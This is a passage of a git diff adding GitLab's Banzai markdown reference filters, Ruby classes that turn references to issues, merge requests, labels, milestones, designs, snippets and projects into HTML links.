+ commit,
+ only_path: only_path?)
+ end
+ end
+
+ def object_link_text_extras(object, matches)
+ extras = super
+
+ path = matches[:path] if matches.names.include?("path")
+ if path == '/builds'
+ extras.unshift "builds"
+ end
+
+ extras
+ end
+
+ private
+
+ def parent_records(parent, ids)
+ parent.commits_by(oids: ids.to_a)
+ end
+
+ def noteable
+ context[:noteable]
+ end
+
+ def only_path?
+ context[:only_path]
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/design_reference_filter.rb b/lib/banzai/filter/references/design_reference_filter.rb
new file mode 100644
index 00000000000..61234e61c15
--- /dev/null
+++ b/lib/banzai/filter/references/design_reference_filter.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ class DesignReferenceFilter < AbstractReferenceFilter
+ class Identifier
+ include Comparable
+ attr_reader :issue_iid, :filename
+
+ def initialize(issue_iid:, filename:)
+ @issue_iid = issue_iid
+ @filename = filename
+ end
+
+ def as_composite_id(id_for_iid)
+ id = id_for_iid[issue_iid]
+ return unless id
+
+ { issue_id: id, filename: filename }
+ end
+
+ def <=>(other)
+ return unless other.is_a?(Identifier)
+
+ [issue_iid, filename] <=> [other.issue_iid, other.filename]
+ end
+ alias_method :eql?, :==
+
+ def hash
+ [issue_iid, filename].hash
+ end
+ end
+
+ self.reference_type = :design
+
+ def find_object(project, identifier)
+ records_per_parent[project][identifier]
+ end
+
+ def parent_records(project, identifiers)
+ return [] unless project.design_management_enabled?
+
+ iids = identifiers.map(&:issue_iid).to_set
+ issues = project.issues.where(iid: iids)
+ id_for_iid = issues.index_by(&:iid).transform_values(&:id)
+ issue_by_id = issues.index_by(&:id)
+
+ designs(identifiers, id_for_iid).each do |d|
+ issue = issue_by_id[d.issue_id]
+ # optimisation: assign values we have already fetched
+ d.project = project
+ d.issue = issue
+ end
+ end
+
+ def relation_for_paths(paths)
+ super.includes(:route, :namespace, :group)
+ end
+
+ def parent_type
+ :project
+ end
+
+ # optimisation to reuse the parent_per_reference query information
+ def parent_from_ref(ref)
+ parent_per_reference[ref || current_parent_path]
+ end
+
+ def url_for_object(design, project)
+ path_options = { vueroute: design.filename }
+ Gitlab::Routing.url_helpers.designs_project_issue_path(project, design.issue, path_options)
+ end
+
+ def data_attributes_for(_text, _project, design, **_kwargs)
+ super.merge(issue: design.issue_id)
+ end
+
+ def self.object_class
+ ::DesignManagement::Design
+ end
+
+ def self.object_sym
+ :design
+ end
+
+ def self.parse_symbol(raw, match_data)
+ filename = match_data[:url_filename]
+ iid = match_data[:issue].to_i
+ Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
+ end
+
+ def record_identifier(design)
+ Identifier.new(filename: design.filename, issue_iid: design.issue.iid)
+ end
+
+ private
+
+ def designs(identifiers, id_for_iid)
+ identifiers
+ .map { |identifier| identifier.as_composite_id(id_for_iid) }
+ .compact
+ .in_groups_of(100, false) # limitation of by_issue_id_and_filename, so we batch
+ .flat_map { |ids| DesignManagement::Design.by_issue_id_and_filename(ids) }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/epic_reference_filter.rb b/lib/banzai/filter/references/epic_reference_filter.rb
new file mode 100644
index 00000000000..4ee446e5317
--- /dev/null
+++ b/lib/banzai/filter/references/epic_reference_filter.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # The actual filter is implemented in the EE mixin
+ class EpicReferenceFilter < IssuableReferenceFilter
+ self.reference_type = :epic
+
+ def self.object_class
+ Epic
+ end
+
+ private
+
+ def group
+ context[:group] || context[:project]&.group
+ end
+ end
+ end
+ end
+end
+
+Banzai::Filter::References::EpicReferenceFilter.prepend_if_ee('EE::Banzai::Filter::References::EpicReferenceFilter')
diff --git a/lib/banzai/filter/references/external_issue_reference_filter.rb b/lib/banzai/filter/references/external_issue_reference_filter.rb
new file mode 100644
index 00000000000..247e20967df
--- /dev/null
+++ b/lib/banzai/filter/references/external_issue_reference_filter.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces external issue tracker references with links.
+ # References are ignored if the project doesn't use an external issue
+ # tracker.
+ #
+ # This filter does not support cross-project references.
+ class ExternalIssueReferenceFilter < ReferenceFilter
+ self.reference_type = :external_issue
+
+ # Public: Find `JIRA-123` issue references in text
+ #
+ # ExternalIssueReferenceFilter.references_in(text, pattern) do |match, issue|
+ # "<a href=...>##{issue}</a>"
+ # end
+ #
+ # text - String text to search.
+ #
+ # Yields the String match and the String issue reference.
+ #
+ # Returns a String replaced with the return of the block.
+ def self.references_in(text, pattern)
+ text.gsub(pattern) do |match|
+ yield match, $~[:issue]
+ end
+ end
+
+ def call
+ # Early return if the project isn't using an external tracker
+ return doc if project.nil? || default_issues_tracker?
+
+ ref_pattern = issue_reference_pattern
+ ref_start_pattern = /\A#{ref_pattern}\z/
+
+ nodes.each_with_index do |node, index|
+ if text_node?(node)
+ replace_text_when_pattern_matches(node, index, ref_pattern) do |content|
+ issue_link_filter(content)
+ end
+
+ elsif element_node?(node)
+ yield_valid_link(node) do |link, inner_html|
+ if link =~ ref_start_pattern
+ replace_link_node_with_href(node, index, link) do
+ issue_link_filter(link, link_content: inner_html)
+ end
+ end
+ end
+ end
+ end
+
+ doc
+ end
+
+ private
+
+ # Replace `JIRA-123` issue references in text with links to the referenced
+ # issue's details page.
+ #
+ # text - String text to replace references in.
+ # link_content - Original content of the link being replaced.
+ #
+ # Returns a String with `JIRA-123` references replaced with links. All
+ # links have `gfm` and `gfm-issue` class names attached for styling.
+ def issue_link_filter(text, link_content: nil)
+ self.class.references_in(text, issue_reference_pattern) do |match, id|
+ url = url_for_issue(id)
+ klass = reference_class(:issue)
+ data = data_attribute(project: project.id, external_issue: id)
+ content = link_content || match
+
+ %(<a href="#{url}" #{data}
+ title="#{escape_once(issue_title)}"
+ class="#{klass}">#{content}</a>)
+ end
+ end
+
+ def url_for_issue(issue_id)
+ return '' if project.nil?
+
+ url = if only_path?
+ project.external_issue_tracker.issue_path(issue_id)
+ else
+ project.external_issue_tracker.issue_url(issue_id)
+ end
+
+ # Ensure we return a valid URL to prevent possible XSS.
+ URI.parse(url).to_s
+ rescue URI::InvalidURIError
+ ''
+ end
+
+ def default_issues_tracker?
+ external_issues_cached(:default_issues_tracker?)
+ end
+
+ def issue_reference_pattern
+ external_issues_cached(:external_issue_reference_pattern)
+ end
+
+ def project
+ context[:project]
+ end
+
+ def issue_title
+ "Issue in #{project.external_issue_tracker.title}"
+ end
+
+ def external_issues_cached(attribute)
+ cached_attributes = Gitlab::SafeRequestStore[:banzai_external_issues_tracker_attributes] ||= Hash.new { |h, k| h[k] = {} }
+ cached_attributes[project.id][attribute] = project.public_send(attribute) if cached_attributes[project.id][attribute].nil? # rubocop:disable GitlabSecurity/PublicSend
+ cached_attributes[project.id][attribute]
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/feature_flag_reference_filter.rb b/lib/banzai/filter/references/feature_flag_reference_filter.rb
new file mode 100644
index 00000000000..be9ded1ff43
--- /dev/null
+++ b/lib/banzai/filter/references/feature_flag_reference_filter.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ class FeatureFlagReferenceFilter < IssuableReferenceFilter
+ self.reference_type = :feature_flag
+
+ def self.object_class
+ Operations::FeatureFlag
+ end
+
+ def self.object_sym
+ :feature_flag
+ end
+
+ def parent_records(parent, ids)
+ parent.operations_feature_flags.where(iid: ids.to_a)
+ end
+
+ def url_for_object(feature_flag, project)
+ ::Gitlab::Routing.url_helpers.edit_project_feature_flag_url(
+ project,
+ feature_flag.iid,
+ only_path: context[:only_path]
+ )
+ end
+
+ def object_link_title(object, matches)
+ object.name
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/issuable_reference_filter.rb b/lib/banzai/filter/references/issuable_reference_filter.rb
new file mode 100644
index 00000000000..b8ccb926ae9
--- /dev/null
+++ b/lib/banzai/filter/references/issuable_reference_filter.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ class IssuableReferenceFilter < AbstractReferenceFilter
+ def record_identifier(record)
+ record.iid.to_i
+ end
+
+ def find_object(parent, iid)
+ records_per_parent[parent][iid]
+ end
+
+ def parent_from_ref(ref)
+ parent_per_reference[ref || current_parent_path]
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/issue_reference_filter.rb b/lib/banzai/filter/references/issue_reference_filter.rb
new file mode 100644
index 00000000000..eacf261b15f
--- /dev/null
+++ b/lib/banzai/filter/references/issue_reference_filter.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces issue references with links. References to
+ # issues that do not exist are ignored.
+ #
+ # This filter supports cross-project references.
+ #
+ # When external issues tracker like Jira is activated we should not
+ # use issue reference pattern, but we should still be able
+ # to reference issues from other GitLab projects.
+ class IssueReferenceFilter < IssuableReferenceFilter
+ self.reference_type = :issue
+
+ def self.object_class
+ Issue
+ end
+
+ def url_for_object(issue, project)
+ return issue_path(issue, project) if only_path?
+
+ issue_url(issue, project)
+ end
+
+ def parent_records(parent, ids)
+ parent.issues.where(iid: ids.to_a)
+ end
+
+ def object_link_text_extras(issue, matches)
+ super + design_link_extras(issue, matches.named_captures['path'])
+ end
+
+ private
+
+ def issue_path(issue, project)
+ Gitlab::Routing.url_helpers.namespace_project_issue_path(namespace_id: project.namespace, project_id: project, id: issue.iid)
+ end
+
+ def issue_url(issue, project)
+ Gitlab::Routing.url_helpers.namespace_project_issue_url(namespace_id: project.namespace, project_id: project, id: issue.iid)
+ end
+
+ def design_link_extras(issue, path)
+ if path == '/designs' && read_designs?(issue)
+ ['designs']
+ else
+ []
+ end
+ end
+
+ def read_designs?(issue)
+ issue.project.design_management_enabled?
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/iteration_reference_filter.rb b/lib/banzai/filter/references/iteration_reference_filter.rb
new file mode 100644
index 00000000000..cf3d446147f
--- /dev/null
+++ b/lib/banzai/filter/references/iteration_reference_filter.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # The actual filter is implemented in the EE mixin
+ class IterationReferenceFilter < AbstractReferenceFilter
+ self.reference_type = :iteration
+
+ def self.object_class
+ Iteration
+ end
+ end
+ end
+ end
+end
+
+Banzai::Filter::References::IterationReferenceFilter.prepend_if_ee('EE::Banzai::Filter::References::IterationReferenceFilter')
diff --git a/lib/banzai/filter/references/label_reference_filter.rb b/lib/banzai/filter/references/label_reference_filter.rb
new file mode 100644
index 00000000000..a6a5eec5d9a
--- /dev/null
+++ b/lib/banzai/filter/references/label_reference_filter.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces label references with links.
+ class LabelReferenceFilter < AbstractReferenceFilter
+ self.reference_type = :label
+
+ def self.object_class
+ Label
+ end
+
+ def find_object(parent_object, id)
+ find_labels(parent_object).find(id)
+ end
+
+ def references_in(text, pattern = Label.reference_pattern)
+ labels = {}
+ unescaped_html = unescape_html_entities(text).gsub(pattern) do |match|
+ namespace = $~[:namespace]
+ project = $~[:project]
+ project_path = full_project_path(namespace, project)
+ label = find_label_cached(project_path, $~[:label_id], $~[:label_name])
+
+ if label
+ labels[label.id] = yield match, label.id, project, namespace, $~
+ "#{REFERENCE_PLACEHOLDER}#{label.id}"
+ else
+ match
+ end
+ end
+
+ return text if labels.empty?
+
+ escape_with_placeholders(unescaped_html, labels)
+ end
+
+ def find_label_cached(parent_ref, label_id, label_name)
+ cached_call(:banzai_find_label_cached, label_name&.tr('"', '') || label_id, path: [object_class, parent_ref]) do
+ find_label(parent_ref, label_id, label_name)
+ end
+ end
+
+ def find_label(parent_ref, label_id, label_name)
+ parent = parent_from_ref(parent_ref)
+ return unless parent
+
+ label_params = label_params(label_id, label_name)
+ find_labels(parent).find_by(label_params)
+ end
+
+ def find_labels(parent)
+ params = if parent.is_a?(Group)
+ { group_id: parent.id,
+ include_ancestor_groups: true,
+ only_group_labels: true }
+ else
+ { project: parent,
+ include_ancestor_groups: true }
+ end
+
+ LabelsFinder.new(nil, params).execute(skip_authorization: true)
+ end
+
+ # Parameters to pass to `Label.find_by` based on the given arguments
+ #
+ # id - Integer ID to pass. If present, returns {id: id}
+ # name - String name to pass. If `id` is absent, finds by name without
+ # surrounding quotes.
+ #
+ # Returns a Hash.
+ def label_params(id, name)
+ if name
+ { name: name.tr('"', '') }
+ else
+ { id: id.to_i }
+ end
+ end
+
+ def url_for_object(label, parent)
+ label_url_method =
+ if context[:label_url_method]
+ context[:label_url_method]
+ elsif parent.is_a?(Project)
+ :project_issues_url
+ end
+
+ return unless label_url_method
+
+ Gitlab::Routing.url_helpers.public_send(label_url_method, parent, label_name: label.name, only_path: context[:only_path]) # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ def object_link_text(object, matches)
+ label_suffix = ''
+ parent = project || group
+
+ if project || full_path_ref?(matches)
+ project_path = full_project_path(matches[:namespace], matches[:project])
+ parent_from_ref = from_ref_cached(project_path)
+ reference = parent_from_ref.to_human_reference(parent)
+
+ label_suffix = " <i>in #{ERB::Util.html_escape(reference)}</i>" if reference.present?
+ end
+
+ presenter = object.present(issuable_subject: parent)
+ LabelsHelper.render_colored_label(presenter, suffix: label_suffix)
+ end
+
+ def wrap_link(link, label)
+ presenter = label.present(issuable_subject: project || group)
+ LabelsHelper.wrap_label_html(link, small: true, label: presenter)
+ end
+
+ def full_path_ref?(matches)
+ matches[:namespace] && matches[:project]
+ end
+
+ def reference_class(type, tooltip: true)
+ super + ' gl-link gl-label-link'
+ end
+
+ def object_link_title(object, matches)
+ presenter = object.present(issuable_subject: project || group)
+ LabelsHelper.label_tooltip_title(presenter)
+ end
+ end
+ end
+ end
+end
+
+Banzai::Filter::References::LabelReferenceFilter.prepend_if_ee('EE::Banzai::Filter::References::LabelReferenceFilter')
diff --git a/lib/banzai/filter/references/merge_request_reference_filter.rb b/lib/banzai/filter/references/merge_request_reference_filter.rb
new file mode 100644
index 00000000000..872c33f6873
--- /dev/null
+++ b/lib/banzai/filter/references/merge_request_reference_filter.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces merge request references with links. References
+ # to merge requests that do not exist are ignored.
+ #
+ # This filter supports cross-project references.
+ class MergeRequestReferenceFilter < IssuableReferenceFilter
+ self.reference_type = :merge_request
+
+ def self.object_class
+ MergeRequest
+ end
+
+ def url_for_object(mr, project)
+ h = Gitlab::Routing.url_helpers
+ h.project_merge_request_url(project, mr,
+ only_path: context[:only_path])
+ end
+
+ def object_link_title(object, matches)
+ # The method will return `nil` if object is not a commit
+ # allowing for properly handling the extended MR Tooltip
+ object_link_commit_title(object, matches)
+ end
+
+ def object_link_text_extras(object, matches)
+ extras = super
+
+ if commit_ref = object_link_commit_ref(object, matches)
+ klass = reference_class(:commit, tooltip: false)
+ commit_ref_tag = %(<span class="#{klass}">#{commit_ref}</span>)
+
+ return extras.unshift(commit_ref_tag)
+ end
+
+ path = matches[:path] if matches.names.include?("path")
+
+ case path
+ when '/diffs'
+ extras.unshift "diffs"
+ when '/commits'
+ extras.unshift "commits"
+ when '/builds'
+ extras.unshift "builds"
+ end
+
+ extras
+ end
+
+ def parent_records(parent, ids)
+ parent.merge_requests
+ .where(iid: ids.to_a)
+ .includes(target_project: :namespace)
+ end
+
+ def reference_class(object_sym, options = {})
+ super(object_sym, tooltip: false)
+ end
+
+ def data_attributes_for(text, parent, object, **data)
+ super.merge(project_path: parent.full_path, iid: object.iid, mr_title: object.title)
+ end
+
+ private
+
+ def object_link_commit_title(object, matches)
+ object_link_commit(object, matches)&.title
+ end
+
+ def object_link_commit_ref(object, matches)
+ object_link_commit(object, matches)&.short_id
+ end
+
+ def object_link_commit(object, matches)
+ return unless matches.names.include?('query') && query = matches[:query]
+
+ # Removes leading "?". CGI.parse expects "arg1&arg2&arg3"
+ params = CGI.parse(query.sub(/^\?/, ''))
+
+ return unless commit_sha = params['commit_id']&.first
+
+ if commit = find_commit_by_sha(object, commit_sha)
+ Commit.from_hash(commit.to_hash, object.project)
+ end
+ end
+
+ def find_commit_by_sha(object, commit_sha)
+ @all_commits ||= {}
+ @all_commits[object.id] ||= object.all_commits
+
+ @all_commits[object.id].find { |commit| commit.sha == commit_sha }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/milestone_reference_filter.rb b/lib/banzai/filter/references/milestone_reference_filter.rb
new file mode 100644
index 00000000000..49110194ddc
--- /dev/null
+++ b/lib/banzai/filter/references/milestone_reference_filter.rb
@@ -0,0 +1,140 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces milestone references with links.
+ class MilestoneReferenceFilter < AbstractReferenceFilter
+ include Gitlab::Utils::StrongMemoize
+
+ self.reference_type = :milestone
+
+ def self.object_class
+ Milestone
+ end
+
+ # Links to project milestones contain the IID, but when we're handling
+ # 'regular' references, we need to use the global ID to disambiguate
+ # between group and project milestones.
+ def find_object(parent, id)
+ return unless valid_context?(parent)
+
+ find_milestone_with_finder(parent, id: id)
+ end
+
+ def find_object_from_link(parent, iid)
+ return unless valid_context?(parent)
+
+ find_milestone_with_finder(parent, iid: iid)
+ end
+
+ def valid_context?(parent)
+ strong_memoize(:valid_context) do
+ group_context?(parent) || project_context?(parent)
+ end
+ end
+
+ def group_context?(parent)
+ strong_memoize(:group_context) do
+ parent.is_a?(Group)
+ end
+ end
+
+ def project_context?(parent)
+ strong_memoize(:project_context) do
+ parent.is_a?(Project)
+ end
+ end
+
+ def references_in(text, pattern = Milestone.reference_pattern)
+ # We'll handle here the references that follow the `reference_pattern`.
+ # Other patterns (for example, the link pattern) are handled by the
+ # default implementation.
+ return super(text, pattern) if pattern != Milestone.reference_pattern
+
+ milestones = {}
+ unescaped_html = unescape_html_entities(text).gsub(pattern) do |match|
+ milestone = find_milestone($~[:project], $~[:namespace], $~[:milestone_iid], $~[:milestone_name])
+
+ if milestone
+ milestones[milestone.id] = yield match, milestone.id, $~[:project], $~[:namespace], $~
+ "#{REFERENCE_PLACEHOLDER}#{milestone.id}"
+ else
+ match
+ end
+ end
+
+ return text if milestones.empty?
+
+ escape_with_placeholders(unescaped_html, milestones)
+ end
+
+ def find_milestone(project_ref, namespace_ref, milestone_id, milestone_name)
+ project_path = full_project_path(namespace_ref, project_ref)
+
+ # Returns group if project is not found by path
+ parent = parent_from_ref(project_path)
+
+ return unless parent
+
+ milestone_params = milestone_params(milestone_id, milestone_name)
+
+ find_milestone_with_finder(parent, milestone_params)
+ end
+
+ def milestone_params(iid, name)
+ if name
+ { name: name.tr('"', '') }
+ else
+ { iid: iid.to_i }
+ end
+ end
+
+ def find_milestone_with_finder(parent, params)
+ finder_params = milestone_finder_params(parent, params[:iid].present?)
+
+ MilestonesFinder.new(finder_params).find_by(params)
+ end
+
+ def milestone_finder_params(parent, find_by_iid)
+ { order: nil, state: 'all' }.tap do |params|
+ params[:project_ids] = parent.id if project_context?(parent)
+
+ # We don't support IID lookups because IIDs can clash between
+ # group/project milestones and group/subgroup milestones.
+ params[:group_ids] = self_and_ancestors_ids(parent) unless find_by_iid
+ end
+ end
+
+ def self_and_ancestors_ids(parent)
+ if group_context?(parent)
+ parent.self_and_ancestors.select(:id)
+ elsif project_context?(parent)
+ parent.group&.self_and_ancestors&.select(:id)
+ end
+ end
+
+ def url_for_object(milestone, project)
+ Gitlab::Routing
+ .url_helpers
+ .milestone_url(milestone, only_path: context[:only_path])
+ end
+
+ def object_link_text(object, matches)
+ milestone_link = escape_once(super)
+ reference = object.project&.to_reference_base(project)
+
+ if reference.present?
+ "#{milestone_link} <i>in #{reference}</i>".html_safe
+ else
+ milestone_link
+ end
+ end
+
+ def object_link_title(object, matches)
+ nil
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/project_reference_filter.rb b/lib/banzai/filter/references/project_reference_filter.rb
new file mode 100644
index 00000000000..522c6e0f5f3
--- /dev/null
+++ b/lib/banzai/filter/references/project_reference_filter.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces project references with links.
+ class ProjectReferenceFilter < ReferenceFilter
+ self.reference_type = :project
+
+ # Public: Find `namespace/project>` project references in text
+ #
+ # ProjectReferenceFilter.references_in(text) do |match, project|
+ # "<a href=...>#{project}></a>"
+ # end
+ #
+ # text - String text to search.
+ #
+ # Yields the String match, and the String project name.
+ #
+ # Returns a String replaced with the return of the block.
+ def self.references_in(text)
+ text.gsub(Project.markdown_reference_pattern) do |match|
+ yield match, "#{$~[:namespace]}/#{$~[:project]}"
+ end
+ end
+
+ def call
+ ref_pattern = Project.markdown_reference_pattern
+ ref_pattern_start = /\A#{ref_pattern}\z/
+
+ nodes.each_with_index do |node, index|
+ if text_node?(node)
+ replace_text_when_pattern_matches(node, index, ref_pattern) do |content|
+ project_link_filter(content)
+ end
+ elsif element_node?(node)
+ yield_valid_link(node) do |link, inner_html|
+ if link =~ ref_pattern_start
+ replace_link_node_with_href(node, index, link) do
+ project_link_filter(link, link_content: inner_html)
+ end
+ end
+ end
+ end
+ end
+
+ doc
+ end
+
+ # Replace `namespace/project>` project references in text with links to the referenced
+ # project page.
+ #
+ # text - String text to replace references in.
+ # link_content - Original content of the link being replaced.
+ #
+ # Returns a String with `namespace/project>` references replaced with links. All links
+ # have `gfm` and `gfm-project` class names attached for styling.
+ def project_link_filter(text, link_content: nil)
+ self.class.references_in(text) do |match, project_path|
+ cached_call(:banzai_url_for_object, match, path: [Project, project_path.downcase]) do
+ if project = projects_hash[project_path.downcase]
+ link_to_project(project, link_content: link_content) || match
+ else
+ match
+ end
+ end
+ end
+ end
+
+ # Returns a Hash containing all Project objects for the project
+ # references in the current document.
+ #
+ # The keys of this Hash are the project paths, the values the
+ # corresponding Project objects.
+ def projects_hash
+ @projects ||= Project.eager_load(:route, namespace: [:route])
+ .where_full_path_in(projects)
+ .index_by(&:full_path)
+ .transform_keys(&:downcase)
+ end
+
+ # Returns all projects referenced in the current document.
+ def projects
+ refs = Set.new
+
+ nodes.each do |node|
+ node.to_html.scan(Project.markdown_reference_pattern) do
+ refs << "#{$~[:namespace]}/#{$~[:project]}"
+ end
+ end
+
+ refs.to_a
+ end
+
+ private
+
+ def urls
+ Gitlab::Routing.url_helpers
+ end
+
+ def link_class
+ reference_class(:project)
+ end
+
+ def link_to_project(project, link_content: nil)
+ url = urls.project_url(project, only_path: context[:only_path])
+ data = data_attribute(project: project.id)
+ content = link_content || project.to_reference
+
+ link_tag(url, data, content, project.name)
+ end
+
+ def link_tag(url, data, link_content, title)
+ %(<a href="#{url}" #{data} class="#{link_class}" title="#{escape_once(title)}">#{link_content}</a>)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/reference_filter.rb b/lib/banzai/filter/references/reference_filter.rb
new file mode 100644
index 00000000000..dd15c43f5d8
--- /dev/null
+++ b/lib/banzai/filter/references/reference_filter.rb
@@ -0,0 +1,217 @@
+# frozen_string_literal: true
+
+# Generated HTML is transformed back to GFM by app/assets/javascripts/behaviors/markdown/nodes/reference.js
+module Banzai
+ module Filter
+ module References
+ # Base class for GitLab Flavored Markdown reference filters.
+ #
+ # References within <pre>, <code>, <a>, and <style> elements are ignored.
+ #
+ # Context options:
+ # :project (required) - Current project, ignored if reference is cross-project.
+ # :only_path - Generate path-only links.
+ class ReferenceFilter < HTML::Pipeline::Filter
+ include RequestStoreReferenceCache
+ include OutputSafety
+
+ class << self
+ attr_accessor :reference_type
+
+ def call(doc, context = nil, result = nil)
+ new(doc, context, result).call_and_update_nodes
+ end
+ end
+
+ def initialize(doc, context = nil, result = nil)
+ super
+
+ @new_nodes = {}
+ @nodes = self.result[:reference_filter_nodes]
+ end
+
+ def call_and_update_nodes
+ with_update_nodes { call }
+ end
+
+ # Returns a data attribute String to attach to a reference link
+ #
+ # attributes - Hash, where the key becomes the data attribute name and the
+ # value is the data attribute value
+ #
+ # Examples:
+ #
+ # data_attribute(project: 1, issue: 2)
+ # # => "data-reference-type=\"SomeReferenceFilter\" data-project=\"1\" data-issue=\"2\""
+ #
+ # data_attribute(project: 3, merge_request: 4)
+ # # => "data-reference-type=\"SomeReferenceFilter\" data-project=\"3\" data-merge-request=\"4\""
+ #
+ # Returns a String
+ def data_attribute(attributes = {})
+ attributes = attributes.reject { |_, v| v.nil? }
+
+ attributes[:reference_type] ||= self.class.reference_type
+ attributes[:container] ||= 'body'
+ attributes[:placement] ||= 'top'
+ attributes.delete(:original) if context[:no_original_data]
+ attributes.map do |key, value|
+ %Q(data-#{key.to_s.dasherize}="#{escape_once(value)}")
+ end.join(' ')
+ end
+
+ def ignore_ancestor_query
+ @ignore_ancestor_query ||= begin
+ parents = %w(pre code a style)
+ parents << 'blockquote' if context[:ignore_blockquotes]
+
+ parents.map { |n| "ancestor::#{n}" }.join(' or ')
+ end
+ end
+
+ def project
+ context[:project]
+ end
+
+ def group
+ context[:group]
+ end
+
+ def user
+ context[:user]
+ end
+
+ def skip_project_check?
+ context[:skip_project_check]
+ end
+
+ def reference_class(type, tooltip: true)
+ gfm_klass = "gfm gfm-#{type}"
+
+ return gfm_klass unless tooltip
+
+ "#{gfm_klass} has-tooltip"
+ end
+
+ # Ensure that a :project key exists in context
+ #
+ # Note that while the key might exist, its value could be nil!
+ def validate
+ needs :project unless skip_project_check?
+ end
+
+ # Iterates over all <a> and text() nodes in a document.
+ #
+ # Nodes are skipped whenever their ancestor is one of the nodes returned
+ # by `ignore_ancestor_query`. Link tags are not processed if they have a
+ # "gfm" class or the "href" attribute is empty.
+ def each_node
+ return to_enum(__method__) unless block_given?
+
+ doc.xpath(query).each do |node|
+ yield node
+ end
+ end
+
+ # Returns an Array containing all HTML nodes.
+ def nodes
+ @nodes ||= each_node.to_a
+ end
+
+ # Yields the link's URL and inner HTML whenever the node is a valid <a> tag.
+ def yield_valid_link(node)
+ link = unescape_link(node.attr('href').to_s)
+ inner_html = node.inner_html
+
+ return unless link.force_encoding('UTF-8').valid_encoding?
+
+ yield link, inner_html
+ end
+
+ def unescape_link(href)
+ CGI.unescape(href)
+ end
+
+ def replace_text_when_pattern_matches(node, index, pattern)
+ return unless node.text =~ pattern
+
+ content = node.to_html
+ html = yield content
+
+ replace_text_with_html(node, index, html) unless html == content
+ end
+
+ def replace_link_node_with_text(node, index)
+ html = yield
+
+ replace_text_with_html(node, index, html) unless html == node.text
+ end
+
+ def replace_link_node_with_href(node, index, link)
+ html = yield
+
+ replace_text_with_html(node, index, html) unless html == link
+ end
+
+ def text_node?(node)
+ node.is_a?(Nokogiri::XML::Text)
+ end
+
+ def element_node?(node)
+ node.is_a?(Nokogiri::XML::Element)
+ end
+
+ private
+
+ def query
+ @query ||= %Q{descendant-or-self::text()[not(#{ignore_ancestor_query})]
+ | descendant-or-self::a[
+ not(contains(concat(" ", @class, " "), " gfm ")) and not(@href = "")
+ ]}
+ end
+
+ def replace_text_with_html(node, index, html)
+ replace_and_update_new_nodes(node, index, html)
+ end
+
+ def replace_and_update_new_nodes(node, index, html)
+ previous_node = node.previous
+ next_node = node.next
+ parent_node = node.parent
+ # Unfortunately node.replace(html) returns re-parented nodes, not the actual replaced nodes in the doc
+ # We need to find the actual nodes in the doc that were replaced
+ node.replace(html)
+ @new_nodes[index] = []
+
+ # We replaced node with new nodes, so we find first new node. If previous_node is nil, we take first parent child
+ new_node = previous_node ? previous_node.next : parent_node&.children&.first
+
+ # We iterate from first to last replaced node and store replaced nodes in @new_nodes
+ while new_node && new_node != next_node
+ @new_nodes[index] << new_node.xpath(query)
+ new_node = new_node.next
+ end
+
+ @new_nodes[index].flatten!
+ end
+
+ def only_path?
+ context[:only_path]
+ end
+
+ def with_update_nodes
+ @new_nodes = {}
+ yield.tap { update_nodes! }
+ end
+
+ # Once Filter completes replacing nodes, we update nodes with @new_nodes
+ def update_nodes!
+ @new_nodes.sort_by { |index, _new_nodes| -index }.each do |index, new_nodes|
+ nodes[index, 1] = new_nodes
+ end
+ result[:reference_filter_nodes] = nodes
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/snippet_reference_filter.rb b/lib/banzai/filter/references/snippet_reference_filter.rb
new file mode 100644
index 00000000000..bf7e0f78609
--- /dev/null
+++ b/lib/banzai/filter/references/snippet_reference_filter.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces snippet references with links. References to
+ # snippets that do not exist are ignored.
+ #
+ # This filter supports cross-project references.
+ class SnippetReferenceFilter < AbstractReferenceFilter
+ self.reference_type = :snippet
+
+ def self.object_class
+ Snippet
+ end
+
+ def find_object(project, id)
+ return unless project.is_a?(Project)
+
+ project.snippets.find_by(id: id)
+ end
+
+ def url_for_object(snippet, project)
+ h = Gitlab::Routing.url_helpers
+ h.project_snippet_url(project, snippet,
+ only_path: context[:only_path])
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/user_reference_filter.rb b/lib/banzai/filter/references/user_reference_filter.rb
new file mode 100644
index 00000000000..04665973f51
--- /dev/null
+++ b/lib/banzai/filter/references/user_reference_filter.rb
@@ -0,0 +1,182 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces user or group references with links.
+ #
+ # A special `@all` reference is also supported.
